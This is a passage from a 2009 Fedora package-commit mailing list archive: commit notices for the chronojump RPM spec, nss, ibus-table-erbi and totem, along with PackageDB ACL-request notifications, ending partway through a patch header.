Date: Tue,  6 Oct 2009 23:22:30 +0000 (UTC)
Subject: rpms/chronojump/F-12 chronojump.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006232230.4941F11C00C1@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/chronojump/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24076/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	chronojump.spec import.log 
Log Message:
importing chronojump



--- NEW FILE chronojump.spec ---
Name:           chronojump
Version:        0.8.11
Release:        2%{?dist}
Summary:        A measurement, management and statistics sport testing tool

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://chronojump.org
Source0:        http://ftp.gnome.org/pub/GNOME/sources/chronojump/0.8/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  pkgconfig mono-data-sqlite gtk-sharp2 gtk-sharp2-devel desktop-file-utils gettext mono-devel
Requires:       R-core hicolor-icon-theme

%description
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

Chronojump uses a contact platform and/or photocells, 
and also a chronometer printed circuit designed ad-hoc in
order to obtain precise and trustworthy measurements.

Chronojump is used by trainers, teachers and students.

%package        doc
Summary:        ChronoJump manuals
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
BuildArch:      noarch

%description doc
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

These are the manuals for ChronoJump

%prep
%setup -q
TMP=`mktemp`
sed -e "s/share\/doc\/chronojump/share\/doc\/chronojump-%{version}/g" src/util.cs > $TMP
mv $TMP src/util.cs

%build
%configure
make %{?_smp_mflags}

cat > src/chronojump <<EOF
#!/bin/sh

exec mono "%{_libdir}/chronojump/Chronojump.exe" "\$@"
EOF

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

# this file should be in the standard dir
rm %{buildroot}/%{_datadir}/doc/chronojump/chronojump_manual_es.pdf

# removing non used files:
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.a
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.la

desktop-file-install --dir=%{buildroot}%{_datadir}/applications/   %{buildroot}%{_datadir}/applications/chronojump.desktop

%find_lang %{name}

%clean
rm -rf %{buildroot}

%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
update-desktop-database &> /dev/null || :

%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi
update-desktop-database &> /dev/null || :

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%{_bindir}/chronojump
%{_bindir}/chronojump_mini
%{_bindir}/chronojump-test-accuracy
%{_bindir}/chronojump-test-jumps
%{_bindir}/chronojump-test-stream
%dir %{_libdir}/chronojump
%{_libdir}/chronojump/*
%dir %{_datadir}/chronojump
%{_datadir}/chronojump/*
%{_datadir}/icons/hicolor/48x48/apps/chronojump.png
%{_datadir}/applications/chronojump.desktop

%doc README COPYING AUTHORS 

%files doc
%defattr(-,root,root,-)
%doc manual/chronojump_manual_es.pdf

%changelog

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-2
- Fixing doc path

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-1
- Update 0.8.11

* Tue Sep 22 2009 <ismael at olea.org> 0.8.10-2
- fixing suggestions from https://bugzilla.redhat.com/show_bug.cgi?id=524707#c3
- added forgotten update-desktop-database calls

* Mon Sep 21 2009 <ismael at olea.org> 0.8.10-1
- update to 0.8.10

* Thu Aug 27 2009 <ismael at olea.org> 0.8.9.5-3
- added doc subpackage

* Wed Aug 26 2009 <ismael at olea.org> 0.8.9.5-2
- minor spec typos
- Use %%find_lang.
- added ldconfig invocation
- removed libchronopic.la

* Tue Aug 25 2009 <ismael at olea.org> 0.8.9.5-1
- first release


--- NEW FILE import.log ---
chronojump-0_8_11-2_olea:F-12:chronojump-0.8.11-2.olea.src.rpm:1254871266


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:30:57 -0000	1.1
+++ .cvsignore	6 Oct 2009 23:22:29 -0000	1.2
@@ -0,0 +1 @@
+chronojump-0.8.11.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:30:57 -0000	1.1
+++ sources	6 Oct 2009 23:22:29 -0000	1.2
@@ -0,0 +1 @@
+37497f95e5140241aa128c6da482f963  chronojump-0.8.11.tar.gz



From olea at fedoraproject.org  Tue Oct  6 23:24:16 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Tue,  6 Oct 2009 23:24:16 +0000 (UTC)
Subject: rpms/chronojump/F-10 chronojump.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006232416.53A7411C00C1@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/chronojump/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25434/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	chronojump.spec import.log 
Log Message:
importing chronojump



--- NEW FILE chronojump.spec ---
Name:           chronojump
Version:        0.8.11
Release:        2%{?dist}
Summary:        A measurement, management and statistics sport testing tool

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://chronojump.org
Source0:        http://ftp.gnome.org/pub/GNOME/sources/chronojump/0.8/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  pkgconfig mono-data-sqlite gtk-sharp2 gtk-sharp2-devel desktop-file-utils gettext mono-devel
Requires:       R-core hicolor-icon-theme

%description
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

Chronojump uses a contact platform and/or photocells, 
and also a chronometer printed circuit designed ad-hoc in
order to obtain precise and trustworthy measurements.

Chronojump is used by trainers, teachers and students.

%package        doc
Summary:        ChronoJump manuals
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
BuildArch:      noarch

%description doc
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

These are the manuals for ChronoJump

%prep
%setup -q
TMP=`mktemp`
sed -e "s/share\/doc\/chronojump/share\/doc\/chronojump-%{version}/g" src/util.cs > $TMP
mv $TMP src/util.cs

%build
%configure
make %{?_smp_mflags}

cat > src/chronojump <<EOF
#!/bin/sh

exec mono "%{_libdir}/chronojump/Chronojump.exe" "\$@"
EOF

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

# this file should be in the standard dir
rm %{buildroot}/%{_datadir}/doc/chronojump/chronojump_manual_es.pdf

# removing non used files:
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.a
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.la

desktop-file-install --dir=%{buildroot}%{_datadir}/applications/   %{buildroot}%{_datadir}/applications/chronojump.desktop

%find_lang %{name}

%clean
rm -rf %{buildroot}

%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
update-desktop-database &> /dev/null || :

%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi
update-desktop-database &> /dev/null || :

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%{_bindir}/chronojump
%{_bindir}/chronojump_mini
%{_bindir}/chronojump-test-accuracy
%{_bindir}/chronojump-test-jumps
%{_bindir}/chronojump-test-stream
%dir %{_libdir}/chronojump
%{_libdir}/chronojump/*
%dir %{_datadir}/chronojump
%{_datadir}/chronojump/*
%{_datadir}/icons/hicolor/48x48/apps/chronojump.png
%{_datadir}/applications/chronojump.desktop

%doc README COPYING AUTHORS 

%files doc
%defattr(-,root,root,-)
%doc manual/chronojump_manual_es.pdf

%changelog

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-2
- Fixing doc path

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-1
- Update 0.8.11

* Tue Sep 22 2009 <ismael at olea.org> 0.8.10-2
- fixing suggestions from https://bugzilla.redhat.com/show_bug.cgi?id=524707#c3
- added forgotten update-desktop-database calls

* Mon Sep 21 2009 <ismael at olea.org> 0.8.10-1
- update to 0.8.10

* Thu Aug 27 2009 <ismael at olea.org> 0.8.9.5-3
- added doc subpackage

* Wed Aug 26 2009 <ismael at olea.org> 0.8.9.5-2
- minor spec typos
- Use %%find_lang.
- added ldconfig invocation
- removed libchronopic.la

* Tue Aug 25 2009 <ismael at olea.org> 0.8.9.5-1
- first release


--- NEW FILE import.log ---
chronojump-0_8_11-2_olea:F-10:chronojump-0.8.11-2.olea.src.rpm:1254871407


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:30:57 -0000	1.1
+++ .cvsignore	6 Oct 2009 23:24:15 -0000	1.2
@@ -0,0 +1 @@
+chronojump-0.8.11.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:30:57 -0000	1.1
+++ sources	6 Oct 2009 23:24:15 -0000	1.2
@@ -0,0 +1 @@
+37497f95e5140241aa128c6da482f963  chronojump-0.8.11.tar.gz



From olea at fedoraproject.org  Tue Oct  6 23:24:22 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Tue,  6 Oct 2009 23:24:22 +0000 (UTC)
Subject: rpms/chronojump/F-11 chronojump.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006232422.184C511C00C1@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/chronojump/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25404/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	chronojump.spec import.log 
Log Message:
importing chronojump



--- NEW FILE chronojump.spec ---
Name:           chronojump
Version:        0.8.11
Release:        2%{?dist}
Summary:        A measurement, management and statistics sport testing tool

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://chronojump.org
Source0:        http://ftp.gnome.org/pub/GNOME/sources/chronojump/0.8/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  pkgconfig mono-data-sqlite gtk-sharp2 gtk-sharp2-devel desktop-file-utils gettext mono-devel
Requires:       R-core hicolor-icon-theme

%description
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

Chronojump uses a contact platform and/or photocells, 
and also a chronometer printed circuit designed ad-hoc in
order to obtain precise and trustworthy measurements.

Chronojump is used by trainers, teachers and students.

%package        doc
Summary:        ChronoJump manuals
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
BuildArch:      noarch

%description doc
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

These are the manuals for ChronoJump

%prep
%setup -q
TMP=`mktemp`
sed -e "s/share\/doc\/chronojump/share\/doc\/chronojump-%{version}/g" src/util.cs > $TMP
mv $TMP src/util.cs

%build
%configure
make %{?_smp_mflags}

cat > src/chronojump <<EOF
#!/bin/sh

exec mono "%{_libdir}/chronojump/Chronojump.exe" "\$@"
EOF

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

# this file should be in the standard dir
rm %{buildroot}/%{_datadir}/doc/chronojump/chronojump_manual_es.pdf

# removing non used files:
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.a
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.la

desktop-file-install --dir=%{buildroot}%{_datadir}/applications/   %{buildroot}%{_datadir}/applications/chronojump.desktop

%find_lang %{name}

%clean
rm -rf %{buildroot}

%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
update-desktop-database &> /dev/null || :

%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi
update-desktop-database &> /dev/null || :

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%{_bindir}/chronojump
%{_bindir}/chronojump_mini
%{_bindir}/chronojump-test-accuracy
%{_bindir}/chronojump-test-jumps
%{_bindir}/chronojump-test-stream
%dir %{_libdir}/chronojump
%{_libdir}/chronojump/*
%dir %{_datadir}/chronojump
%{_datadir}/chronojump/*
%{_datadir}/icons/hicolor/48x48/apps/chronojump.png
%{_datadir}/applications/chronojump.desktop

%doc README COPYING AUTHORS 

%files doc
%defattr(-,root,root,-)
%doc manual/chronojump_manual_es.pdf

%changelog

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-2
- Fixing doc path

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-1
- Update 0.8.11

* Tue Sep 22 2009 <ismael at olea.org> 0.8.10-2
- fixing suggestions from https://bugzilla.redhat.com/show_bug.cgi?id=524707#c3
- added forgotten update-desktop-database calls

* Mon Sep 21 2009 <ismael at olea.org> 0.8.10-1
- update to 0.8.10

* Thu Aug 27 2009 <ismael at olea.org> 0.8.9.5-3
- added doc subpackage

* Wed Aug 26 2009 <ismael at olea.org> 0.8.9.5-2
- minor spec typos
- Use %%find_lang.
- added ldconfig invocation
- removed libchronopic.la

* Tue Aug 25 2009 <ismael at olea.org> 0.8.9.5-1
- first release


--- NEW FILE import.log ---
chronojump-0_8_11-2_olea:F-11:chronojump-0.8.11-2.olea.src.rpm:1254871409


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:30:57 -0000	1.1
+++ .cvsignore	6 Oct 2009 23:24:21 -0000	1.2
@@ -0,0 +1 @@
+chronojump-0.8.11.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:30:57 -0000	1.1
+++ sources	6 Oct 2009 23:24:21 -0000	1.2
@@ -0,0 +1 @@
+37497f95e5140241aa128c6da482f963  chronojump-0.8.11.tar.gz



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:36 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchcommits
Message-ID: <20091006234036.563D910F880@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchcommits acl on cycle (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:37 +0000
Subject: [pkgdb] cycle: linuxdonald has requested approveacls
Message-ID: <20091006234038.090C010F895@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the approveacls acl on cycle (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:49 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchcommits
Message-ID: <20091006234049.3174710F895@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchcommits acl on cycle (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:46 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchbugzilla
Message-ID: <20091006234047.0C74410F892@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchbugzilla acl on cycle (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:51 +0000
Subject: [pkgdb] cycle: linuxdonald has requested commit
Message-ID: <20091006234051.2A7B610F8A1@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the commit acl on cycle (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:53 +0000
Subject: [pkgdb] cycle: linuxdonald has requested approveacls
Message-ID: <20091006234053.1953110F8A8@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the approveacls acl on cycle (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:55 +0000
Subject: [pkgdb] cycle: linuxdonald has requested commit
Message-ID: <20091006234055.5748110F894@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the commit acl on cycle (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Tue Oct  6 23:40:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:40:58 +0000
Subject: [pkgdb] cycle: linuxdonald has requested watchbugzilla
Message-ID: <20091006234101.7B33610F8A3@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchbugzilla acl on cycle (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cycle



From emaldonado at fedoraproject.org  Tue Oct  6 23:49:14 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Tue,  6 Oct 2009 23:49:14 +0000 (UTC)
Subject: rpms/nss/F-12 setup-nsssysinit.sh,1.2,1.3
Message-ID: <20091006234914.9B6A011C00C1@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4390

Modified Files:
	setup-nsssysinit.sh 
Log Message:
Fix to handle more general flags formats (#527051)


Index: setup-nsssysinit.sh
===================================================================
RCS file: /cvs/extras/rpms/nss/F-12/setup-nsssysinit.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- setup-nsssysinit.sh	27 Sep 2009 19:08:11 -0000	1.2
+++ setup-nsssysinit.sh	6 Oct 2009 23:49:09 -0000	1.3
@@ -22,13 +22,6 @@ if test $# -eq 0; then
   usage 1 1>&2
 fi
 
-on="1"
-case "$1" in
-  on  | ON )  on="1";;
-  off | OFF ) on="";;
-  * )         usage 1 1>&2;;
-esac
-
 # the system-wide configuration file
 p11conf="/etc/pki/nssdb/pkcs11.txt"
 # must exist, otherwise report it and exit with failure
@@ -37,19 +30,26 @@ if [ ! -f $p11conf ]; then
   exit 1
 fi
 
-# turn on or off
-if [ on = "1" ]; then 
-  cat ${p11conf} | sed -e 's/^library=$/library=libnsssysinit.so/' \
-                       -e 'g/^NSS/ s; Flags=internal,critical; Flags=internal,moduleDBOnly,critical;' > \
-                       ${p11conf}.on
-  mv ${p11conf}.on ${p11conf}
-else
-  if [ `grep "^library=libnsssysinit" ${p11conf}` == ""]; then
-    exit 0
-  fi
-  cat ${p11conf} | sed -e 's/^library=libnsssysinit.so/library=/' \
-                       -e 'g/^NSS/ s; Flags=internal,moduleDBOnly,critical; Flags=internal,critical;' > \
-                       ${p11conf}.off
-  mv ${p11conf}.off ${p11conf}
-fi
-
+on="1"
+case "$1" in
+  on | ON )
+    cat ${p11conf} | \
+     sed -e 's/^library=$/library=libnsssysinit.so/' \
+         -e '/^NSS/s/\(Flags=internal\)\(,[^m]\)/\1,moduleDBOnly\2/' > \
+    ${p11conf}.on
+    mv ${p11conf}.on ${p11conf}
+    ;;
+  off | OFF )
+    if [ ! `grep "^library=libnsssysinit" ${p11conf}` ]; then
+      exit 0
+    fi
+    cat ${p11conf} | \
+    sed -e 's/^library=libnsssysinit.so/library=/' \
+        -e '/^NSS/s/Flags=internal,moduleDBOnly/Flags=internal/' > \
+        ${p11conf}.off
+    mv ${p11conf}.off ${p11conf}
+    ;;
+  * )
+    usage 1 1>&2
+    ;;
+esac



From emaldonado at fedoraproject.org  Tue Oct  6 23:52:12 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Tue,  6 Oct 2009 23:52:12 +0000 (UTC)
Subject: rpms/nss/F-12 nss.spec,1.121,1.122
Message-ID: <20091006235212.36EC411C00C1@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5512

Modified Files:
	nss.spec 
Log Message:
Fix bugs #527048 and #527051


Index: nss.spec
===================================================================
RCS file: /cvs/extras/rpms/nss/F-12/nss.spec,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- nss.spec	27 Sep 2009 19:15:08 -0000	1.121
+++ nss.spec	6 Oct 2009 23:52:11 -0000	1.122
@@ -6,7 +6,7 @@
 Summary:          Network Security Services
 Name:             nss
 Version:          3.12.4
-Release:          12%{?dist}
+Release:          14%{?dist}
 License:          MPLv1.1 or GPLv2+ or LGPLv2+
 URL:              http://www.mozilla.org/projects/security/pki/nss/
 Group:            System Environment/Libraries
@@ -469,6 +469,10 @@ rm -rf $RPM_BUILD_ROOT/%{_includedir}/ns
 
 
 %changelog
+* Mon Oct 06 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-14
+- Fix bug where user was prompted for a password when listing keys on an empty system database (#527048)
+- Fix setup-nsssysinit to handle more general flags formats (#527051)
+
 * Sun Sep 27 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-12
 - Fix syntax error in setup-nsssysinit.sh
 



From pkgdb at fedoraproject.org  Tue Oct  6 23:55:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:55:09 +0000
Subject: [pkgdb] 8Kingdoms ownership updated
Message-ID: <20091006235509.51A0510F84D@bastion2.fedora.phx.redhat.com>

Package 8Kingdoms in Fedora devel is now owned by linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:55:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:55:39 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested watchbugzilla
Message-ID: <20091006235539.40DE510F84D@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchbugzilla acl on 8Kingdoms (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:55:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:55:40 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested watchcommits
Message-ID: <20091006235540.BC0A710F892@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchcommits acl on 8Kingdoms (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:55:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:55:42 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested commit
Message-ID: <20091006235542.1371410F895@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the commit acl on 8Kingdoms (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:55:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:55:43 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested approveacls
Message-ID: <20091006235543.CB3E910F84D@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the approveacls acl on 8Kingdoms (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:56:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:56:06 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested watchbugzilla
Message-ID: <20091006235607.2131510F84D@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchbugzilla acl on 8Kingdoms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:56:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:56:09 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested watchcommits
Message-ID: <20091006235609.3DB0A10F894@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the watchcommits acl on 8Kingdoms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:56:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:56:11 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested commit
Message-ID: <20091006235611.81EE910F84D@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the commit acl on 8Kingdoms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From pkgdb at fedoraproject.org  Tue Oct  6 23:56:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 23:56:14 +0000
Subject: [pkgdb] 8Kingdoms: linuxdonald has requested approveacls
Message-ID: <20091006235614.8A7F310F894@bastion2.fedora.phx.redhat.com>

linuxdonald has requested the approveacls acl on 8Kingdoms (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/8Kingdoms



From cchance at fedoraproject.org  Tue Oct  6 23:56:31 2009
From: cchance at fedoraproject.org (cchance)
Date: Tue,  6 Oct 2009 23:56:31 +0000 (UTC)
Subject: rpms/ibus-table-erbi/F-11 ibus-table-erbi.spec,1.8,1.9
Message-ID: <20091006235631.4776F11C00C1@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table-erbi/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8576

Modified Files:
	ibus-table-erbi.spec 
Log Message:
fixed icon filename in .spec


Index: ibus-table-erbi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table-erbi/F-11/ibus-table-erbi.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ibus-table-erbi.spec	6 Oct 2009 07:44:01 -0000	1.8
+++ ibus-table-erbi.spec	6 Oct 2009 23:56:30 -0000	1.9
@@ -1,6 +1,6 @@
 Name:       ibus-table-erbi
 Version:    1.2.0.20090901
-Release:    2%{?dist}
+Release:    3%{?dist}
 Summary:    Erbi table(s) for IBus-Table
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -43,9 +43,12 @@ cd %{_datadir}/ibus-table/tables/
 %{_datadir}/ibus-table/tables/erbi.db
 %{_datadir}/ibus-table/tables/erbi_qs.db
 %{_datadir}/ibus-table/icons/erbi-qs.svg
-%{_datadir}/ibus-table/icons/erbi.svg
+%{_datadir}/ibus-table/icons/erbi.png
 
 %changelog
+* Wed Oct 07 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090901-3.fc11
+- Rebuilt.
+
 * Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090901-2.fc11
 - Rebuilt.
 



From mclasen at fedoraproject.org  Tue Oct  6 23:56:56 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue,  6 Oct 2009 23:56:56 +0000 (UTC)
Subject: rpms/totem/F-12 brasero-burn.patch,NONE,1.1 totem.spec,1.262,1.263
Message-ID: <20091006235656.BF53E11C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/totem/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9003

Modified Files:
	totem.spec 
Added Files:
	brasero-burn.patch 
Log Message:
fix video burning


brasero-burn.patch:
 totem-disc-recorder.c |    9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

--- NEW FILE brasero-burn.patch ---
diff -up totem-2.28.1/src/plugins/brasero-disc-recorder/totem-disc-recorder.c.brasero-burn totem-2.28.1/src/plugins/brasero-disc-recorder/totem-disc-recorder.c
--- totem-2.28.1/src/plugins/brasero-disc-recorder/totem-disc-recorder.c.brasero-burn	2009-10-06 19:36:03.540872372 -0400
